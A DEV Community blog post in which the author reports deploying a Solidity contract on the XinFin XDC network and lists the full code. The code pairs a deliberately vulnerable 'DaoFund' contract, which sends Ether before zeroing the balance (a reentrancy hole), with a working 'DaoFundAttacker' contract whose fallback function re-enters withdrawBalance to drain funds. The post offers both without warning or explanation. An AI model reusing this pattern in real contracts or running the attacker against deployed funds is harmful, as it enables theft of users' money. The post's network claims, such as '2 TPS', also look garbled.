DEV Community

Cover image for Deployed a smartcontract on The fastest growing Network XinFin.
MahaLakshmi Perumal
MahaLakshmi Perumal

Posted on

2 3

Deployed a smartcontract on The fastest growing Network XinFin.

Deployed a #smartcontract on XinFin XDC Network, which is growing faster in all aspects of community building, Adoption, utilities. The highlights of the network are: 1) 2 TPS, 2)Green Coin, 3)Hybrid environment, 4)usecases

Here's my today's deployed Code:
pragma solidity ^0.4.18;
contract DaoFund{
mapping(address=>uint) balanceOf;
event WithdrawBalance(string message,uint gas);
function getUserBalance(address user) external view returns(uint) {
return balanceOf[user];
}
function addToBalance() external payable {
balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value;
}
function withdrawBalance() external {
uint amountToWithdraw = balanceOf[msg.sender];
WithdrawBalance("withdrawBalance",msg.gas);
if (msg.sender.call.value(amountToWithdraw)() == false) {
revert();
}
balanceOf[msg.sender] = 0;
}
}
contract DaoFundAttacker{
address fundAddress;
int goalAmount;
event WithdrawBalance(string message,uint gas);
function DaoFundAttacker(address _fundAddress) public {
fundAddress=_fundAddress;
}
function() public payable {
goalAmount -= int(msg.value);
if( goalAmount > 0 )
{
if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) {
WithdrawBalance("Succeeded in fallback",msg.gas);
}
else WithdrawBalance("Failed in fallback",msg.gas);
}
else {
WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas);
}
}
function deposit() public payable {
if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) {
revert();
}
}
function withdraw(uint _goalAmount) public {
goalAmount = int(_goalAmount * 1 ether); if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) {
WithdrawBalance("Failed in withdraw",msg.gas);
revert();
}
else WithdrawBalance("Succeeded in withdraw",msg.gas);
}
}

Postmark Image

Speedy emails, satisfied customers

Are delayed transactional emails costing you user satisfaction? Postmark delivers your emails almost instantly, keeping your customers happy and connected.

Sign up

Top comments (0)

Sentry image

See why 4M developers consider Sentry, “not bad.”

Fixing code doesn’t have to be the worst part of your day. Learn how Sentry can help.

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay